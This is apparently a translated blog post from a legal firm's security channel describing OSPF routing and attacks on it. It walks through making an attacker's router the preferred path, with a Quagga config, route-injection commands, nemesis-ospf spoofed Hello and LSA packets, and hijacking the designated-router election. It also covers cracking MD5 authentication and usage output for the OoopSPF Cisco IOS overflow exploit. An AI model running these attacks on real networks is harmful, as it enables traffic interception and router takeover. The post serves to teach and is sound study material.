Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Ambienti con protocollo OSPF.

Обновлено 24.09.2025 12:01

Oleg Petukhov, avvocato nel campo del diritto internazionale e della protezione dei dati personali, specialista nel campo dell'informazione sicurezza, protezione delle informazioni e dei dati personali.

Canale Telegram: https://t.me/protezionedelleinformazioni

Gruppo in telegramma: https://t.me/protezionedelleinformazioni1

Sito: https://legascom.ru

E-mail: online@legascom.ru

 

#protezionedelleInformazioni #sicurezzadelleinformazioni

Il protocollo di routing OSPF (Open Shortest Path First) è più adatto per reti IP raggruppate dinamiche di grandi dimensioni con percorsi multipli. In genere, il protocollo di routing OSPF viene utilizzato nel routing su reti aziendali contenenti una media di 50 LAN e diverse migliaia di host.

Per una migliore comprensione, confrontiamo RIP e OSPF.

OSPF è un protocollo di Stato del collegamento (link-state), a differenza di RIP, che è un protocollo di vettore di distanza (distance-vector). Ogni router aggiorna la propria tabella di routing in base ai vettori di distanza che riceve dai suoi vicini.

Quando si utilizza il protocollo di Stato del collegamento, il router non scambia informazioni sulla distanza con i suoi vicini. Invece, ogni router controlla attivamente lo stato dei suoi canali che portano a ciascun router adiacente e invia tali informazioni agli altri vicini, che possono indirizzare il flusso di dati a un sistema autonomo. Ogni router riceve informazioni sullo stato del canale e già sulla base di esso costruisce una tabella di routing completa.

Nella rete presentata, il percorso con due router rossi sarà riconosciuto come ottimale tra Source e Destination. La ragione di ciò sono i canali più veloci su questa rotta.

Da un punto di vista pratico, la differenza principale è che il protocollo di Stato del canale è significativamente più veloce del protocollo del vettore di distanza. Va notato che nel caso del protocollo di Stato del canale, la convergenza della rete è molto più veloce. Il concetto di convergenza (converge) del protocollo di solito si riferisce alla stabilizzazione della rete dopo qualsiasi modifica, come ad esempio un guasto del router o un guasto del collegamento.

OSPF differisce anche da RIP (come molti altri protocolli di routing) in quanto utilizza direttamente IP. Ciò significa che non utilizza UDP o TCP. OSPF ha il proprio ID, che è impostato nel campo protocollo (protocol) NELL'intestazione IP.

Di conseguenza, gli attacchi ALL'OSPF sono più complessi rispetto al RIP. Le principali difficoltà sono le seguenti:

1) il router dell'attaccante deve emulare il file HELLO pacchetto, al fine di scambiare informazioni di routing con altri router;

2) dipendenza dalla gerarchia dei router coinvolti nello scambio di informazioni di instradamento OSPF. I router che partecipano allo scambio possono avere un livello diverso nello schema di routing gerarchico.

Tenendo conto di queste complessità, passiamo alla considerazione dei principali attacchi ALL'OSPF.

Il punto di un dato attacco è immaginare il percorso che passa attraverso la macchina di un utente malintenzionato come quello con la maggiore larghezza di banda. Uno dei criteri per la scelta del percorso ottimale in OSPF è la metrica calcolata dalla formula

metrica = reference bandwidth / link bandwidth,

dove reference bandwidth = 108, link bandwidth è la larghezza di banda del canale.

Ad esempio, per i canali in 100 MBS, il valore della metrica è 1, per 10 MBS – 10, ecc.

Pertanto, un utente malintenzionato deve impostare il valore della metrica per il proprio percorso su 1 per renderlo prioritario.

!

! Zebra configuration saved from vty

! 2005/08/16 01:22:41

!

hostname legitimate.ospfd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

log file /var/log/quagga/ospfd.log

service advanced-vty

service password-encryption

!

!

interface eth0

description DMZ_Network

ip ospf authentication message-digest

ip ospf message-digest-key 1 md5 secret_key

!

interface eth1

!

interface 10

!

interface tun10

!

router ospf

ospf router-id 192.168.20.111

redistribute kernel

redistribute connected

network 192.168.20.0/24 area 0.0.0.0

area 0.0.0.0 authentication message-digest

!

line vty

exec-timeout 30 0

!

Quando la connessione allo scambio di route OSPF è stata effettuata correttamente, è necessario verificare lo stato corrente delle informazioni di routing utilizzando il comando show ip opsf:

legitimate.ospfd# show ip ospf

OSPF Routing Process, Router ID: 192.168.20.111

Supports only single TOS (TOS0) routes

This implementation conforms to RFC2328

RFC1583Compatibility flag is disabled

OpaqueCapability flag is disabled

SPF schedule delay 1 secs, Hold time between two SPFs 1 secs

Refresh timer 10 secs

This router is an ASBR (injecting external routing information)

Number of external LSA 4. Checksum Sum 0x00025f81

Number of opaque AS LSA 0. Checksum Sum 0x00000000

Number of areas attached to this router: 1

Area ID: 0.0.0.0 (Backbone)

Number of interfaces in this area: Total: 1, Active: 1

Number of fully adjacent neighbors in this area: 2

Area has message digest authentication

SPF algorithm executed 29 times

Number of LSA 9

Number of router LSA 4. Checksum Sum 0x00025166

Number of network LSA 1. Checksum Sum 0xffff90fa

Number of summary LSA 2. Checksum Sum 0x000166c2

Number of ASBR summary LSA 2. Checksum Sum 0x00014713

Number of NSSA LSA 0. Checksum Sum 0x00000000

Number of opaque link LSA 0. Checksum Sum 0x00000000

Number of opaque area LSA 0. Checksum Sum 0x00000000

Successivamente, aggiungere i percorsi appropriati:

kali / # ip route add 64.100.0.0/14 dev eth0

kali / # ip route add 128.107.0.0/16 dev eth0

Assicurati che questi percorsi siano stati aggiunti correttamente allo scambio OSPF:

legitimate.ospfd# sh ip ospf route

============ OSPF external routing table ===========

N E2 64.100.0.0/14 [10/20] tag: 0

via 192.168.66.111, eth0

N E2 128.107.0.0/16 [10/20] tag: 0

via 192.168.66.111, eth0

Come hai capito, 192.168.66.111 è la macchina dell'attaccante.

Per implementare questo attacco, Puoi anche utilizzare L'utilità Nemesis già menzionata in precedenza, o meglio la sua modifica, progettata specificamente per lavorare con OSPF. Ecco l'elenco delle opzioni di questa utility:

kali / # ./nemesis-ospf

OSPF Packet Injection -=The NEMESIS Project 1.1

I 1999, 2000 obecian <obecian@celerity.bartoli.org>;

OSPF usage:

./nemesis-ospf [-v] [optlist]

OSPF Packet Types:

-p <OSPF Protocol>

-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),

-pN LSA (network), -pM LSA (summary), -pA LSA (AS)

OSPF HELLO options:

-N <Neighbor Router Address>

-i >Dead Router Interval>

-l <OSPF Interval>

OSPF DBD options:

-z <MAX DGRAM Length>

-x <Exchange Type>

OSPF LSU options:

-B <num of LSAs to bcast>

OSPF LSA related options:

-L <router id>

-G <LSA age>

OSPF LSA_RTR options:

-u <LSA_RTR num>

-y <LSA_RTR router type>

-k <LSA_RTR router data>

OSPF LSA_AS_EXT options:

-f <LSA_AS_EXT forward address>

-g <LSA_AS_EXT tag>

OSPF options:

-m <OSPF Metric>

-s <Sequence Number>

-r <Advertising Router Address>

-n >OSPF Netmask>

-O <OSPF Options>

-R <OSPF Router id>

-A <OSPF Area id>

-P <Payload File (Binary or ASCII)>

(-v VERBOSE packet struct to stdout)

IP Options

-S <Source Address>

-D <Destination Address>

-I <IP ID>

-T <IP TTL>

-t <IP/OSPF tos>

-F <IP frag>

-o <IP Options>

Data Link Options:

-d <Ethernet Device>

-H <Source MAC Address>

-M <Destination MAC Address>

È necessario specificare l'origine, il destinatario, il protocollo e le opzioni appropriate. Ad esempio, per inviare un falso Hello-Pack OSPF Neighbor al router, è necessario eseguire il seguente comando:

Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1

Un'implementazione alternativa di questo attacco potrebbe essere la generazione di falsi aggiornamenti OSPF LSA, che possono essere effettuati anche con nemesis.

Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1

Diventiamo Designated-o Backup Designated-router OSPF.

Nelle reti di medie e grandi dimensioni che utilizzano il protocollo OSPF, viene utilizzata una gerarchia specifica di router. Nelle grandi reti che utilizzano decine o addirittura centinaia di router, il supporto di informazioni aggiornate è una questione molto dispendiosa in termini di risorse. La gerarchia viene utilizzata per suddividere le attività di creazione delle tabelle di instradamento e ridurre il carico sui dispositivi. Al livello più alto di tale gerarchia, di regola, è presente il router più performante. Tale router è denominato Router progettato. Lo scopo di questo dispositivo è quello di trasmettere efficacemente le informazioni di instradamento aggiornate a tutti i router coinvolti nello scambio OSPF.

In caso di guasto di Designated router, deve essere sostituito da backup designated router, ovvero il router di backup di livello superiore.

Designated router viene selezionato come risultato di un voto in base alla priorità del router e al suo indirizzo IP.

Un utente malintenzionato potrebbe tentare di diventare questo router designated.

Nel caso in cui al DR venga assegnata la priorità 255 e Al BDR 254, non è possibile vincere le elezioni. Tuttavia, molti amministratori non utilizzano i valori massimi di priorità, assegnando DR e BDR rispettivamente a 100 e 10 o 2 e 1. A volte a DR e BDR vengono assegnati gli indirizzi IP più appropriati.

Pertanto, un utente malintenzionato, al fine di rendere il proprio router progettato, è sufficiente stabilire come viene effettuata la scelta del DR e, sulla base di ciò, falsificare la priorità o l'indirizzo IP.

In Quagga, è possibile impostare la priorità utilizzando il seguente comando:

ip ospf priority 255

Nel caso in cui DR e BDR abbiano valori di priorità massimi, puoi provare a disabilitarli utilizzando vari attacchi di rete forniti in questo libro e quindi provare a sostituire il tuo router falso.

Hacking OSPF MD5.

Per la protezione, il protocollo OSPF utilizza L'autenticazione MD5. Di conseguenza, per analogia con L'hacking MD5 nel protocollo RIP, anche qui questa protezione può essere violata.

Ciò richiederà Cain & Abel. Il processo di hacking stesso è simile a quello descritto nei post SULL'hacking RIP, quindi non lo descriveremo qui.

Attacco a OSPF con Ooopspf Exploit. I router Cisco con sistema operativo iOS 11.2, 11.3 e 12.0 potrebbero avere un overflow del buffer quando vengono ricevuti molti pacchetti Hello OSPF. Il concetto che implementa questa vulnerabilità è presentato sul sito ufficiale:

arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump

***********************************************************************

IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),

RELEASE SOFTWARE (fc3)

IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin

MEMORY: 61440K/4096K

ARRAY: 82A7E210

PID RECORD STACK RETURNA RETURNV NAME

<skip>

90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello

150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router

<skip>

arhontus / # ./OoopSPF

Phenoelit OoopSPF

Cisco IOS OSPF remote exploit (11.2.-12.0)

(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;

Usage:

./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>

Options:

-s <src net> Use this network as source (as in target config)

-n <src mask> Use this netmask as source (as in target config)

-d <target> This is the target router interface IP

-f <file> Use this as the new config for the router

-t # Use this target value set (see below)

-a <area> Use this OSPF area

-v Be verbose (-vv or -vvv recommended)

-D Directed attack (unicast) for 11.x targets

-T Test only – don't send

--- barely used options ---

-L # Number of neighbors to announce (overflow size)

-F # Start of data (seen reverse to overflow)

-S # NOP sleet

Nel prossimo post, passeremo ai problemi di sicurezza del protocollo di routing OSPF.